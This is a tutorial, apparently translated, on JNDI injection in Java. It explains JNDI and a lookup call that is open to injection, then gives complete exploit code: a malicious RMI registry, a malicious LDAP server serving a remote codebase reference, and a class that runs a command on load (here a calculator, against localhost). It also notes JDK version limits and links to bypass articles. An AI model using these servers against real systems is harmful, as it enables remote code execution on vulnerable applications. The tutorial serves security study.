JNDI Injection for Java
About JNDI
Introduction to 0x01
JNDI(Java Naming and Directory Interface) is a standard Java naming system interface provided by SUN. JNDI provides a unified client API. Through the implementation of different access provider interfaces JNDI Service Provider Interface (SPI), the JNDI API is mapped by the administrator to a specific naming service and directory system. This allows Java applications to interact with these named services and directory services. Directory services are a natural extension of named services. API applications that call JNDI can locate resources and other program objects. JNDI is an important part of Java EE. It should be noted that it does not only contain DataSource(JDBC data source). Existing directories and services accessible by JNDI are DNS, XNam, Novell directory service, LDAP(Lightweight Directory Access Protocol Lightweight Directory Access Protocol), CORBA object service, file system, Windows XP/2000/NT/Me/9x registry, RMI, DSML v1&v2, and NIS.
Uses of 0x02 JNDI
JNDI(Java Naming and Directory Interface) is an application design API that provides developers with a common and unified interface for finding and accessing various naming and directory services, similar to JDBC, which is built on an abstraction layer. JNDI is now one of the standards for J2EE, and all J2EE containers must provide a service for JNDI.
0x03 Daily Use
In fact, simply looking at the introduction feels like JNDI is similar to Registry in RMI in that it binds one of the named services to the corresponding object, and when you need to call a method in this object, look for the corresponding object by taking the specified name as a parameter into lookup. For example, it is often used in development to load database configuration files for dynamic loading without frequently modifying the code.
RMI and LDAP are common when using JNDI injection attacks. There are also some restrictions on the use of these two protocols, which will be mentioned later in this article.
0x04 JNDI Naming and Directory Service
Naming Service Naming Service:
Naming services associate names with objects and provide operations for finding objects by name, such as: the DNS system associates computer names with IP addresses, the file system associates file names with file handles, and so on.
Directory Service Directory Service:
A directory service is an extension of a naming service that allows objects to have attributes in addition to providing an association of names and objects. Objects in a directory service are called directory objects. Directory services provide operations such as creating, adding, deleting directory objects, and modifying directory object properties.
Reference reference:
In some named service systems, the system does not store objects directly in the system, but keeps references to them. References contain information about how to access the actual object.
This point is also used a lot, which will be described in more detail below.
Pre-knowledge
A summary of some common classes and methods, copy self nice_0e3 Master Articles
InitialContext class
Construction method:
InitialContext() Build an initial context. InitialContext(boolean lazy) Construct an initial context and choose not to initialize it. InitialContext(Hashtable<?,?> environment) Build the initial context using the provided environment.
InitialContext initialContext = new InitialContext();
The explanation given in this JDK is to build the initial context, which in general is to get the initial directory environment.
Common methods:
bind(Name name, Object obj) Bind name to object. list(String name) Enumerates the names of the bindings in the naming context and the class names of the objects bound to them. lookup(String name) Retrieves named objects. rebind(String name, Object obj) Bind name to object, overwriting any existing binding. unbind(String name) Unbind named object.
Reference class
It is also a class in javax.naming that represents a reference to objects found outside the naming/catalog system. Provides a reference function to classes in JNDI.
Construction method:
Reference(String className) Name the class " className"Object constructs a new reference. Reference(String className, RefAddr addr) Name the class " className"Construct a new reference to the object and address. Reference(String className, RefAddr addr, String factory, String factoryLocation) Name the class " className"Construct a new reference to the object, the class name and location of the object factory, and the address of the object. Reference(String className, String factory, String factoryLocation) Name the class " className"Construct a new reference to the object and the class name and location of the object factory.
Code:
String url = "http://127.0.0.1:8080"; Reference reference = new Reference("test", "test", url);
Parameter 1:className - Class name used for remote loading
Parameter 2:classFactory - The name of the instantiated class is required in the loaded class
Parameter 3:classFactoryLocation - The address that provides classes data can be the file/ftp/http protocol
Common methods:
void add(int posn, RefAddr addr) Add Address to Index posn Address list. void add(RefAddr addr) Adds an address to the end of the address list. void clear() Remove all addresses from this reference. RefAddr get(int posn) Retrieving Index posn Address on. RefAddr get(String addrType) Retrieval address type is " addrType"First address. Enumeration<RefAddr> getAll() Retrieve the list of addresses in this reference. String getClassName() Retrieves the class name of the object referenced by the reference. String getFactoryClassLocation() Retrieves the factory location of the object referenced by this reference. String getFactoryClassName() Retrieves the class name of the factory for this reference object. Object remove(int posn) Remove index from address list posn Address on. int size() Retrieves the number of addresses in this reference. String toString() Generate a string representation of this reference.
JNDI Demo
Let's look at a piece of code, a demo that is vulnerable to JNDI injection
The url parameter in the lookup method invoked is mainly controllable, which may result in JNDI injection vulnerabilities.
import javax.naming.InitialContext; import javax.naming.NamingException; public class JNDIDemo { public void Jndi(String url) throws NamingException { InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
JNDI+RMI Attack
Restrictions:
Referencing remote objects in RMI services will be restricted by the local Java environment, that is, the local java.rmi.server.useCodebaseOnly configuration must be false (allowing remote objects to be loaded), and if the value is true the reference to remote objects will be prohibited. In addition, the referenced ObjectFactory objects will be restricted by the com.sun.jndi.rmi.object.trustURLCodebase configuration if the value is false (Remote reference objects are not trusted) Remote reference objects cannot be invoked as well.
- JDK 5U45,JDK 6U45,JDK 7u21,JDK 8u121 Beginning java.rmi.server.useCodebaseOnly default configuration has been changed to true.
- The default values of JDK 6u132, JDK 7u122, JDK 8u113 start com.sun.jndi.rmi.object.trustURLCodebase have been changed to false.
Local test remote object references can allow remote reference objects to be loaded in the following ways:
System.setProperty("java.rmi.server.useCodebaseOnly", "false"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
JNDIServer
import javax.naming.InitialContext; import javax.naming.NamingException; public class JNDIServer { public static void main(String[] args) throws NamingException { String url = "rmi://127.0.0.1:1099/ExportObject"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
JNDIExploitServer
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.Arrays; public class JNDIExploitServer { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { //Create Registry Registry registry = LocateRegistry.createRegistry(1099); String url = "http://127.0.0.1:8080/"; // Instantiate a Reference trying to construct a reference for a remote object Reference reference = new Reference("ExploitObject", "ExploitObject", url); // Strongly converted to ReferenceWrapper because Reference does not inherit the Remote interface and cannot be registered directly with Registry ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("ExportObject", referenceWrapper); System.out.println("Registry&Server Start ..."); //Print Alias System.out.println("Registry List: " + Arrays.toString(registry.list())); } }
ExploitObject
public class ExploitObject { static { try { Runtime.getRuntime().exec("open -a Calculator"); } catch (IOException e) { e.printStackTrace(); } } public static void main(String[] args) { System.out.println("Calc Running ..."); } }
Start a malicious JNDIExploitServer, then run JNDIServer. When the initialContext.lookup(url) method is called, the object referenceWrapper corresponding to ExportObject is found through the rmi protocol, and the reference Wrapper is a reference to the remote object ExploitObject, so it is ExploitObject that is ultimately instantiated to trigger static code block execution for any purpose of code execution.
During this period, we encountered several pits, record:
-
JDK limitation, test environment extends JDK7u17 when RMI is used
-
The best version of javac to use when compiling ExploitObject classes is the same version as the test environment in idea, which can be compiled by specifying a jdk version of javac through cmdl; And the generated class file does not have a package name (for example, package com.zh1z3ven.jndi), specifying the version of the javac compilation command:
/Library/Java/JavaVirtualMachines/jdk1.7.0_17.jdk/Contents/Home/bin/javac ./main/java/com/zh1z3ven/jndi/ExploitObject.java
JNDI+LDAP Attack
The limit here was before 8u191
Cop a piece of Server-side code for LDAP
LdapServer
import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; public class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main(String[] argsx) { String[] args = new String[]{"http://127.0.0.1:8080/#ExploitObject"}; int port = 7777; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
JNDIServer2
public class JNDIServer2 { public static void main(String[] args) throws NamingException { String url = "ldap://127.0.0.1:7777/ExploitObject"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
ExploitObject
public class ExploitObject { static { try { Runtime.getRuntime().exec("open -a Calculator"); } catch (IOException e) { e.printStackTrace(); } } public static void main(String[] args) { System.out.println("Calc Running ..."); } }
Reference
How to bypass the limitations of high-release JDK s for JNDI injection utilization: https://paper.seebug.org/942/
javasec
https://www.cnblogs.com/nice0e3/p/13958047.html
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
https://paper.seebug.org/1091/#jndi